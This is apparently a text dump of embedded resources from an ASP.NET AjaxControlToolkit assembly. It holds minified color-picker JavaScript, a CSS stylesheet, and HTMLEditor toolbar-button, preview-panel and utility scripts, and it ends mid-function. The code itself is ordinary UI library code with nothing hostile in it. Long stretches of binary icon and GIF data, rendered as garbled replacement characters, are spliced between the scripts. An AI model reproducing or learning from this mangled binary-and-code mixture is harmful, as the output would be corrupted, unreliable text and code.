a=this,f=a.get_id();a._colorsTable=$common.createElementFromTemplate({nodeName:"table",properties:{id:f+"_colorsTable",cellPadding:0,cellSpacing:1,border:0,style:{margin:"auto"}}},a._popupDiv);a._colorsBody=$common.createElementFromTemplate({nodeName:"tbody",properties:{id:f+"_colorsBody"}},a._colorsTable);for(var c=["00","99","33","66","FF","CC"],b,e,h=c.length,i=0;i<h;i++)for(var j=$common.createElementFromTemplate({nodeName:"tr"},a._colorsBody),d=0;d<h;d++){if(d===3)j=$common.createElementFromTemplate({nodeName:"tr"},a._colorsBody);for(var g=0;g<h;g++){b=c[i]+c[d]+c[g];e="#"+b;var k=$common.createElementFromTemplate({nodeName:"td"},j),l=$common.createElementFromTemplate({nodeName:"div",properties:{id:f+"_color_"+b,color:b,title:e,style:{backgroundColor:e},innerHTML:"&nbsp;"},events:a._cell$delegates},k)}}},_ensureColorPicker:function(){var a=this;if(!a._container){var b=a.get_element();a._buildColorPicker();a._buildColors();a._popupBehavior=new $create(AjaxControlToolkit.PopupBehavior,{parentElement:b},{},{},a._popupDiv);a._popupBehavior.set_positioningMode(a._popupPosition)}},_showSample:function(b){if(this._sample){var a="";if(b)a="#"+b;this._sample.style.backgroundColor=a}},_restoreSample:function(){this._showSample(this._selectedColor)},_validate:function(a){return a&&AjaxControlToolkit.ColorPickerBehavior._colorRegex.test(a)},_element_onfocus:function(){var a=this;if(!a._enabled)return;if(!a._button){a.show();a._popupMouseDown=false}},_element_onblur:function(){if(!this._enabled)return;!this._button&&this._doBlur()},_element_onchange:function(){var a=this;if(!a._selectedColorChanging){var b=a._textbox.get_Value();if(a._validate(b)||b===""){a._selectedColor=b;a._restoreSample()}}},_element_onkeypress:function(a){if(!this._enabled)return;if(!this._button&&a.charCode===Sys.UI.Key.esc){a.stopPropagation();a.preventDefault();this.hide()}},_element_onclick:function(){var a=this;if(!a._enabled)return;if(!a._button){a.show();a._popupMouseDown=false}},_popup_onevent:function(a){a.stopPropagation();a.preventDefault()},_popup_onmousedown:function(){this._popupMouseDown=true},_popup_onmouseup:function(){var a=this;Sys.Browser.agent===Sys.Browser.Opera&&a._blur.get_isPending()&&a._blur.cancel();a._popupMouseDown=false;a._focus()},_cell_onmouseover:function(a){a.stopPropagation();var b=a.target;this._showSample(b.color)},_cell_onmouseout:function(a){a.stopPropagation();this._restoreSample()},_cell_onclick:function(b){var a=this;b.stopPropagation();b.preventDefault();if(!a._enabled)return;var c=b.target;a.set_selectedColor(c.color);a._blur.post(true);a.raiseColorSelectionChanged()},_button_onclick:function(b){var a=this;b.preventDefault();b.stopPropagation();if(!a._enabled)return;if(!a._isOpen)a.show();else a.hide();a._focus();a._popupMouseDown=false},_button_onblur:function(){var a=this;if(!a._enabled)return;!a._popupMouseDown&&a.hide();a._popupMouseDown=false},_button_onkeypress:function(a){if(!this._enabled)return;if(a.charCode===Sys.UI.Key.esc){a.stopPropagation();a.preventDefault();this.hide()}this._popupMouseDown=false}};AjaxControlToolkit.ColorPickerBehavior.registerClass("AjaxControlToolkit.ColorPickerBehavior",AjaxControlToolkit.BehaviorBase);6   �& h�( @ �����lZ��jX��hV��gT�~dR�|cP�zbO�y`M�w^J�v]I�t[G�sYE�qXD�pVB�oT@�nS?�mR=��������������������������������������������Ǿ��Ļ��¹�ѿ��м��λ��̸��ʶ��ɴ��Dz��ư��ĭ��ì������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Į��sYE���������������������������������������������������������������������������DZ��sYE�������������������������������������������������������������������������ɳ��u[H���������������������������������������������������������������������������˶��w^J����������������������������������������������������������������������������ͺ��y`M�����������������������������������������������������������������������������ϼ��{bO���������������������������������������������������������������������������������~dR�����������������������������������������������������������������������������ú��gT���������������������������������������������������������������������������������Ǿ��iW�����������������������������������������������������������������������������������lZ�ёr�ёr�ёr�Ќk�Іa��~U��uI��m=��d1��]'��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y �ёr���������������������������������������������������}���z���w���t���q���o��m��j��h��f��e��e��e��e��Y �ёr���������������������������������������������������~���z���w���t���q���n��m��j��h��f��e��e��e��e��Y �ёr���������������������������������������������������}���z���w���u���q���o��l��j��h��g��e��e��e��e��Y �ёr�ёr�ёr�Ќk�Іa��~U��uI��m=��d1��]'��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ������������������#����G�#��������������������������������(  ����cI5�cI5�cI5�cI5�cI5���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������î��������������������������������������������Ȳ����������������������������������������������̶�������������������������������������������cI5�ꪋ�ꪋ�ꪋ�饄��z��n��b��V��}J��v@��r9��r9��r9��b/�ꪋ��¢���������������������������}���w���q���j��e��e1�ꪋ�ꪋ�ꪋ�ꪋ�ꦆ����v��l��b��X��N��{F��v>��r9������I���%��	���������������6   �& h�( @ �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������uc��sa��p]��lY��hU�|cP�x_L�t[G�pVC�lS?�jO<�gM9�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������uc��s`��p]��lZ��hU�|dQ�x_K�sZG�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ�ġ���ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ�ġ���ġ���ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ�ġ����ǰ��ġ���ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ�ġ����ǰ��ǰ��ǰ��ġ���ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ���ǰ��ǰ��ǰ��ǰ��ǰ���ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������������������������������������������������������������������������������������(  ���������������������������������������������������������������������������������������������������������������uc��s`��p]��lZ��hU������������������������������������������������������������������������uc��sa��p^�������������������������������������������������������������������������������������������������������������������������������������������ǰ��ǰ��ǰ�ġ���ǰ��ǰ������������������������������������ǰ��ǰ�ġ���ġ���ǰ������������������������������������ǰ��ǰ���ǰ���ǰ������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ����������������������������������������������������������������������������6h&   ��( ����������������������������������������ɵ�������ɵ�������ɵ�������ɵ������޹���������ɵ�������ɵ�������ɵ�������ɵ������޹���ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�Oq�Oq�Oq�Oq�ɵ�ɵ�����������ɵ�������ɵ�������Oqٵ���Oq����������������ɵ�������ɵ�������Oqٵ���Oq����������ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�Oq�Oq�Oq�Oq�ɵ�ɵ�����������ɵ�������ɵ�������ɵ�������ɵ�����������������ɵ�������ɵ�������ɵ�������ɵ�����������ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�ɵ�����������ɵ�������ɵ�������ɵ�������ɵ�����������������ɵ�������ɵ�������ɵ�������ɵ���������ꪋ駇袀�d�j�i�a�Y�Q�J�yC�u<�q7�m5�i3�e1ꪋ����j����l��|��s��k��c��]��Y�T����xK�rF�e1ꪋ�j������l��{��s��k��d��]��Y�S�ϼ����qF�e1ꪋ駇�i�ϼ�_�i�a�Y�Q�J�yC�u<��m5�i3�e1( @ ˱��{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�˱���v��t��r��p�ޓn�ۑm�ُj�֍i�ԋg�щf�Άc�˄a�ɂ`��^��|[��{Z��xX��vV��tT��rS��qR��mP��lO��jM��gL��fJ��dI��cH��aG�{bN�˱���w���������p��������֍i����������ʃa�����������zY�Ȼ��Ȼ��Ȼ���qR�Ȼ��Ȼ��Ȼ���jM�Ȼ��Ȼ��Ȼ���bG�{bN�˱���x��������q��������؎j���������̆b�����������{Z�Ȼ��Ȼ��Ȼ���sS�Ȼ��Ȼ��Ȼ���jN�Ȼ��Ȼ��Ȼ���cH�{bN�˱���z����������s��������ڐk��������ψd�����������~\�Ȼ��Ȼ��Ȼ���tU�Ȼ��Ȼ��Ȼ���lO�Ȼ��Ȼ��Ȼ���eI�{bN�˱���{��y��w��v��t��r��q�ߕo�ܑl�ڐk�׍i�ԋg�҉e�·c�˄a�ȁ_�ŀ^��}\��zZ��yX��wV��sT��rR��qR��nP��lO��jN��iL��fJ�{bN�˱���|��������������u��������ޔn��������Ԋg����������ȁ_�����������xW�����������pR�����ξ��̻��hL�{bN�˱���~��������������v���������p��������Ռh���������ɂ`�����������yY�����������qR�����Ͽ��ξ��iL�{bN�˱��褀��������������x��������q��������؎i�����������������������������������������sS��������Ͽ��jN�{bN�˱��襂����|��{��y��w��v��u��r��q�ޓn�ܒl�ِk�֍h�ԋg�����$$��$$��$$��$$��$$�������rR��qR��nP��lO��jN��iL��fJ�{bN�˱���|��������������u��������ޔn��������Ԋg�����������$$������������$$�������������pR�����ξ��̻��hL�{bN�˱���~��������������v���������p��������Ռh����������$$�������������$$�������������qR�����Ͽ��ξ��iL�{bN�˱��褀��������������x��������q��������؎i����������$$��������������$$�������������sS��������Ͽ��jN�{bN�˱��襂����|��{��y��w��v��u��r��q�ޓn�ܒl�ِk�֍h�ԋg�����$$��$$��$$��$$��$$�������zX��wW��sU��rS��qR��mP��lN�{bN�˱��觃��������������{�������������t��������ۑl����������������������������������������wV�����������mP�{bN�˱��騅��������������|��������������u��������ݓm��������ۑl���������щe�����������wW�����������nQ�{bN�˱��骆��������������}��������������v�������ߕo��������ۑl��������щe�����������zY�����������qR�{bN�˱��骈�驇�规�襂�裀��}��|��z��w��v��u��r��q�ޔn�ܒl�ܒl�ۑl�ܒl�ܒl�ܒl�ܒl�ܒl�Ɓ^��}\��{Z��xX��wV��tU��qS�{bN�˱��髊����������襁�����������y�������������r��������ۑl��������щe�����������}[�����������sT�{bN�˱��ꭌ����������覂�����������{��������������s��������ۑl��������щe�����������]�����������vV�{bN�˱��ꮎ����������规�����������|��������������u��������ݓm��������ӊf���������Ɓ^�����������xX�{bN�˱��갏�ꮍ�ꬋ�ꬋ�ꬋ�ꬋ��p��w��}��|��z��w��v��u��s��q�ޓo�ܒm�ِk�׎i�Ԍg��f�އ\�ކ[��~\��~\��~\��{Z��zX�{bN�˱������������������ه`�ׄ^��ɮ��y����������{��x��t��p��m��i��f��b�߉_�ގe���vO��{Q��{O��{O��{O��xK�{bN�˱���������������~��p��������x����������|��x��t��p��m��i��e��b�߉_�؇_�����м�ԂZ��{O��{O��{O��xK�{bN�˱�������������������~W��z�����y�������|��w��t��q��m��i��e��b�ߊ_��W�����m��wP��{O��{O��zL��xK�{bN�˱����������������������ދc��u��t����������|��x��t��q��m��i��e��b�߉^��|S�Յ_��tL��{O��{O��{O��yM��xK�{bN�˱��˱��˰��ʰ��ʯ��ɯ��ɯ��Ȯ��ǭ��Ǭ��Ƭ��ū��Ū��ĩ��è��§��¦������������������������������������������������������~������������������������������������������������[body       {
            color:#404040; background-color: #fff;
            border-width: 0px; margin: 0px; padding: 2px;
           }
body,table td
           {
            font-family: verdana,sans-serif; font-size: 10pt;
           }
h1         {
            font-size: 24pt;
           }
h2         {
            font-size: 18pt;
           }
h3         {
            font-size: 14pt;
           }
h4         {
            font-size: 12pt;
           }
h5         {
            font-size: 10pt;
           }
h6         {
            font-size:  8pt;
           }          
�GIF89a�����������������������������������������������������������������������������������������������������������������������������)^����!�=,�pH,��̆�l:�Ma'D*Y���U(:�X�x�V��z�n���lF���u!�`3����B0488<�����8B7
9������:��:�:B.��<�B���B
 !! Bí���BS؁<B%(�<%##B%-/��*)B$*/2
Шa�
5h̐A`@/��x!��
B�a0����a��(S‚��Б�0�;vGIF89a�������������������������������������������333!�,�@�pH,���r�l
���3JUN���v�}X!˟xL?~�%�x��UP.��i�
_qIufwxr�P^M	B}u�d���Kn}����
�d�d�
���������f�d��
������	����ʒ����ђ���G��A;�GIF89a����@@A������������������=}�Q��Q��]��������������������������������������������������������������ʭ�����������������{{{vvviiiggg\\\[[[WWWMMMLLLKKKJJJAAA@@@333���!�7,���pH,���r�l
���3JUN��+��2�e�zP�o�$B�8��U!i2%
�� ��-+$�B�!5,6"����%6'����� 314������//*.�����)20(������������ߋ����拌����G��A;kGIF89a����yyy�������������iii���������ݭ��eeemmm������555}}}ZZ[������LLM������FFF����������������666��䮮������������압�~~��߃������������箮����������������ccc���fff������������333������!�,�@�oH,�£�\:�aG�̞�`��D0��7@�&#P�i�8D��3����oa�]tYQ+B.-�H9�9%�)2!>��>><�04)8�����<<	'�<>:��:7:"��>;���
/��A;�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("italic", false, null);
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._queryCommandState("italic");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode.prototype = {
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode", AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton);

t!Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.initializeBase(this, [element]);

    this._loaded = false;
    this._preservePlace = false;
    this._editPanel = null;
    this._activeModes = null;
    this._app_onload$delegate = Function.createDelegate(this, this._app_onload);
    this._cssClass = "";

    this._onmouseover$delegate = Function.createDelegate(this, this._onmouseover);
    this._onmouseout$delegate = Function.createDelegate(this, this._onmouseout);
    this._onmousedown$delegate = Function.createDelegate(this, this._onmousedown);
    this._onmouseup$delegate = Function.createDelegate(this, this._onmouseup);
    this._onclick$delegate = Function.createDelegate(this, this._onclick);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.prototype = {

    get_preservePlace: function() {
        return this._preservePlace;
    },
    set_preservePlace: function(value) {
        this._preservePlace = value;
    },

    set_activeEditPanel: function(value) {
        this._editPanel = value;
        if (this._editPanel == null) {
            this.hideButton();
        } else {
            if (this.isAllowedActiveMode(this._editPanel.get_activeMode()) && this.canBeShown()) {
                this.showButton();
                this.onEditPanelActivity();
            } else {
                this.hideButton();
            }
        }
    },

    isImage: function() {
        return true;
    },

    checkRangeInDesign: function() {
        if (typeof this._designPanel == "undefined") return false;
        if (this._designPanel == null) return false;
        if (this._designPanel.isPopup()) return false;

        var parent = AjaxControlToolkit.HTMLEditor.getSelParent(this._designPanel);
        if (parent.nodeType == 3) parent = parent.parentNode;
        return (parent.ownerDocument == this._designPanel._doc);
    },

    get_buttonName: function() {
        var name = Object.getType(this).getName();
        name = name.substring(name.lastIndexOf(".") + 1);
        return name;
    },

    get_message: function(messageName) {
        var expression = "AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_" + this.get_buttonName() + "_message_" + messageName;
        return eval(expression);
    },

    isDisplayed: function() {
        var element = this.get_element();
        if (element) {
            var style = element.style;
            return (style.display != "none" && style.visibility != "hidden");
        } else {
            return false;
        }
    },

    hideButton: function() {
        var element = this.get_element();
        if (element) {
            if (!this._preservePlace) {
                element.style.display = "none";
            } else {
                element.style.visibility = "hidden";
            }
        }
    },

    showButton: function() {
        var element = this.get_element();
        if (element) {
            if (element.style.display == "none") {
                element.style.display = "";
            }
            if (this._preservePlace) {
                element.style.visibility = "visible";
            }
        }
    },

    canBeShown: function() {
        return true;
    },

    onEditPanelActivity: function() {
    },

    get_activeModes: function() {
        if (this._activeModes == null) {
            this._activeModes = [];
        }
        return this._activeModes;
    },
    set_activeModes: function(value) {
        this.get_activeModes().push(value);
    },

    get_activeModesIds: function() {
    },
    set_activeModesIds: function(value) {
        var arr = value.split(";");
        for (var i = 0; i < arr.length; i++) {
            this.set_activeModes(parseInt(arr[i]));
        }
    },

    set_toolTip: function(value) {
        this.get_element().title = value;
    },
    get_toolTip: function() {
        return this.get_element().title;
    },

    isAllowedActiveMode: function(value) {
        for (var i = 0; i < this.get_activeModes().length; i++) {
            if (this.get_activeModes()[i] == value) {
                return true;
            }
        }
        return false;
    },

    initialize: function() {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.callBaseMethod(this, "initialize");

        Sys.Application.add_load(this._app_onload$delegate);
        var element = this.get_element();

        if (this._preservePlace && !this.canBeShown()) {
            element.style.display = "none";
        }

        this._cssClass = element.className;

        if (this.isImage()) {
            $addHandlers(element, {
                mouseover: this._onmouseover$delegate,
                mouseout: this._onmouseout$delegate,
                mousedown: this._onmousedown$delegate,
                mouseup: this._onmouseup$delegate,
                click: this._onclick$delegate
            });
        }

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            function diveSelectable(el) {
                if (el.nodeType == 1 && el.tagName) {
                    var tag = el.tagName.toUpperCase();
                    if (tag != "INPUT" && tag != "TEXTAREA" && tag != "IFRAME") {
                        el.unselectable = "on";
                    }
                    for (var k = 0; k < el.childNodes.length; k++) {
                        diveSelectable(el.childNodes.item(k));
                    }
                }
            }

            diveSelectable(element);
        } else {
            try {
                element.style.MozUserSelect = "none";
                element.parentNode.style.MozUserSelect = "none";
            } catch (ex) { }
        }
    },

    dispose: function() {
        if (this.isImage()) {
            $common.removeHandlers(this.get_element(), {
                mouseover: this._onmouseover$delegate,
                mouseout: this._onmouseout$delegate,
                mousedown: this._onmousedown$delegate,
                mouseup: this._onmouseup$delegate,
                click: this._onclick$delegate
            });
        }

        this._loaded = false;
        Sys.Application.remove_load(this._app_onload$delegate);
        AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.callBaseMethod(this, "dispose");
    },

    _app_onload: function(sender, e) {
        this.onButtonLoaded();
        this._loaded = true;
    },

    onButtonLoaded: function() {
    },

    _onmouseover: function(e) {
        if (!this.isEnable()) {
            return false;
        }
        Sys.UI.DomElement.addCssClass(this.get_element(), this._cssClass + "_hover");
        return true;
    },

    _onmouseout: function(e) {
        if (!this.isEnable()) {
            return false;
        }
        Sys.UI.DomElement.removeCssClass(this.get_element(), this._cssClass + "_hover");
        Sys.UI.DomElement.removeCssClass(this.get_element(), this._cssClass + "_mousedown");
        return true;
    },

    _onmousedown: function(e) {
        if (!this.isEnable()) {
            return null;
        }
        Sys.UI.DomElement.addCssClass(this.get_element(), this._cssClass + "_mousedown");
        return false;
    },

    _onmouseup: function(e) {
        if (!this.isEnable()) {
            return false;
        }
        Sys.UI.DomElement.removeCssClass(this.get_element(), this._cssClass + "_mousedown");
        return true;
    },

    _onclick: function(e) {
        if (!this.isEnable()) {
            return false;
        }
        return true;
    },

    isEnable: function() {
        if (!this._loaded) {
            return false;
        }
        if (this._editPanel == null) {
            return false;
        }
        return true;
    },

    setActivity: function(value) {
        if (value) {
            Sys.UI.DomElement.addCssClass(this.get_element(), this._cssClass + "_active");
        } else {
            Sys.UI.DomElement.removeCssClass(this.get_element(), this._cssClass + "_active");
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton", Sys.UI.Control);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton.prototype = {
    initialize : function() {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton.callBaseMethod(this, "initialize");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.BoxButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.PreviewPanel = function(element) {
    AjaxControlToolkit.HTMLEditor.PreviewPanel.initializeBase(this, [element]);
    this._focus$delegate = Function.createDelegate(this, this._focus_event);
    this._blur$delegate = Function.createDelegate(this, this._blur_event);
    this._doc = null;
    this._content = "";
    this._panel_timer = null;
}

AjaxControlToolkit.HTMLEditor.PreviewPanel.prototype = {
    _focus: function() {
        try { // some browsers fail when invisible
            this.get_element().contentWindow.focus();
        } catch (e) { }
        this._focused();
    },

    _focus_event: function() {
        if (this._panel_timer == null) {
            var contentWindow = this.get_element().contentWindow;
            var panel = this;
            this._really_focused();
            this._panel_timer = setTimeout(function() { contentWindow.focus(); panel._really_focused(); panel._panel_timer = null; }, 0);
        }
        return true;
    },

    _blur_event: function() {
        if (this._panel_timer != null) {
            clearTimeout(this._panel_timer);
            this._panel_timer = null;
        }
        return true;
    },

    _activate: function(value) {
        AjaxControlToolkit.HTMLEditor.PreviewPanel.callBaseMethod(this, "_activate");
        this._content = value;
        this._wasFocused = false;
        this._initIframe(value);
        //AjaxControlToolkit.HTMLEditor._addEvents(this._doc.body, ["mousedown"], this._focus$delegate);
        AjaxControlToolkit.HTMLEditor._addEvents(this.get_element().contentWindow, ["focus"], this._focus$delegate);
        AjaxControlToolkit.HTMLEditor._addEvents(this.get_element().contentWindow, ["blur"], this._blur$delegate);
        this._activateFinished();
    },

    _deactivate: function() {
        AjaxControlToolkit.HTMLEditor._removeEvents(this.get_element().contentWindow, ["blur"], this._blur$delegate);
        AjaxControlToolkit.HTMLEditor._removeEvents(this.get_element().contentWindow, ["focus"], this._focus$delegate);
        //AjaxControlToolkit.HTMLEditor._removeEvents(this._doc.body, ["mousedown"], this._focus$delegate);
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            try { // if src changed (with link in document) - security exception can occur in IE
                this._doc.open();
                this._doc.write("");
                this._doc.close();
                this.get_element().src = "javascript:false;";
            } catch (ex) { }
        }
        this._doc = null;
        this._content = "";
        AjaxControlToolkit.HTMLEditor.PreviewPanel.callBaseMethod(this, "_deactivate");
    },

    _initIframe: function(value) {
        var str = AjaxControlToolkit.HTMLEditor.Trim(value);
        this._doc = this.get_element().contentWindow.document;

        if (!AjaxControlToolkit.HTMLEditor.isIE) {
        } else {
            str = str.replace(/&amp;/ig, "&");
        }

        this._doc.open();
        this._doc.write("<html><head><link rel=\"stylesheet\" href=\"" + this._editPanel.get_documentCssPath() + "\" media=\"all\" /></head><body>" + str + "</body></html>");
        this._doc.close();
    },

    _getContent: function() {
        return this._content;
    },

    _setContent: function(value) {
        //        this._deactivate();
        //        this._editPanel.disableToolbars();
        //        this.set_content(value);
        this._content = value;
        this._initIframe(value);
    }
}

AjaxControlToolkit.HTMLEditor.PreviewPanel.registerClass("AjaxControlToolkit.HTMLEditor.PreviewPanel",AjaxControlToolkit.HTMLEditor.ModePanel);
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup.prototype = {
}

AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup", AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup);
:eType.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.Trim = function(value) {
    return value.replace(/[\x00-\x1F]+/g,"");
};

AjaxControlToolkit.HTMLEditor.TrimAll = function(value) {
    return value.replace(/[\x00-\x1F]/g,"").replace(/^[\x20]+/g,"").replace(/[\x20]+$/g,"");
};

AjaxControlToolkit.HTMLEditor.isIE = (Sys.Browser.agent == Sys.Browser.InternetExplorer);
AjaxControlToolkit.HTMLEditor.isSafari = (Sys.Browser.agent == Sys.Browser.Safari);
AjaxControlToolkit.HTMLEditor.isOpera = (Sys.Browser.agent == Sys.Browser.Opera);

AjaxControlToolkit.HTMLEditor.tryReplaceRgb = function(value) {
    var result = value;
    var re  = /(rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\))/ig;

    function hex(d) {
        return (d < 16) ? ("0" + d.toString(16)) : d.toString(16);
    };
    function repl($0,$1,$2,$3,$4) {
        var r = parseInt($2);
        var g = parseInt($3);
        var b = parseInt($4);
        return "#" + hex(r) + hex(g) + hex(b);
    }
    try { // some versions of Safari don't support such replace
        result = result.replace(re, repl);
    } catch(e){}
    return result;
}

AjaxControlToolkit.HTMLEditor._getScrollTop = function(win) {
    var doc = win.document;
    var scrollTop = 0;
    if (typeof (win.pageYOffset) == 'number') {
        scrollTop = win.pageYOffset;
    }
    if (doc.body && doc.body.scrollTop) {
        scrollTop = doc.body.scrollTop;
    }
    else if (doc.documentElement && doc.documentElement.scrollTop) {
        scrollTop = doc.documentElement.scrollTop;
    }
    return scrollTop;
}

AjaxControlToolkit.HTMLEditor._getScrollLeft = function(win) {
    var doc = win.document;
    var scrollLeft = 0;
    if (typeof (win.pageXOffset) == 'number') {
        scrollLeft = win.pageXOffset;
    }
    else if (doc.body && doc.body.scrollLeft) {
        scrollLeft = doc.body.scrollLeft;
    }
    else if (doc.documentElement && doc.documentElement.scrollLeft) {
        scrollLeft = doc.documentElement.scrollLeft;
    }
    return scrollLeft;
}

AjaxControlToolkit.HTMLEditor.addFormOnSubmit = function(handler, editPanel) {
    var form = window.theForm;
    if (window.theForm != null && typeof window.theForm != "undefined") {
        if (form.AjaxControlToolkit_HTMLEditor_editPanels == null || typeof form.AjaxControlToolkit_HTMLEditor_editPanels == "undefined") {
            form.originalOnSubmit_AjaxControlToolkit_HTMLEditor = window.theForm.onsubmit;
            form.AjaxControlToolkit_HTMLEditor_editPanels = [];
            window.theForm.onsubmit = AjaxControlToolkit.HTMLEditor.EditPanelsOnSubmit;
            if (window.__doPostBack != null && typeof window.__doPostBack != "undefined") {
                if (window.__doPostBack_AjaxControlToolkit_HTMLEditor_original == null || typeof window.__doPostBack_AjaxControlToolkit_HTMLEditor_original == "undefined") {
                    window.__doPostBack_AjaxControlToolkit_HTMLEditor_original = window.__doPostBack;
                    window.__doPostBack = AjaxControlToolkit.HTMLEditor.EditPanelsOnPostBack;
                }
            }
            if (window.ValidatorGetValue != null && typeof window.ValidatorGetValue != "undefined") {
                if (window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original == null || typeof window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original == "undefined") {
                    window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original = window.ValidatorGetValue;
                    window.ValidatorGetValue = AjaxControlToolkit.HTMLEditor.ValidatorGetValue;
                }
            }
        }
        form.AjaxControlToolkit_HTMLEditor_editPanels.push({ handler: handler, editPanel: editPanel });
    }
}

AjaxControlToolkit.HTMLEditor.removeFormOnSubmit = function(handler) {
    var form = window.theForm;
    if (window.theForm != null && typeof window.theForm != "undefined") {
        var original = form.originalOnSubmit_AjaxControlToolkit_HTMLEditor;
        if (form.AjaxControlToolkit_HTMLEditor_editPanels != null && typeof form.AjaxControlToolkit_HTMLEditor_editPanels != "undefined") {
            var newArr = [];
            for (var i = 0; i < form.AjaxControlToolkit_HTMLEditor_editPanels.length; i++) {
                var cur = form.AjaxControlToolkit_HTMLEditor_editPanels[i];
                if (cur.handler != handler) {
                    newArr.push(cur);
                }
            }
            form.AjaxControlToolkit_HTMLEditor_editPanels = newArr;
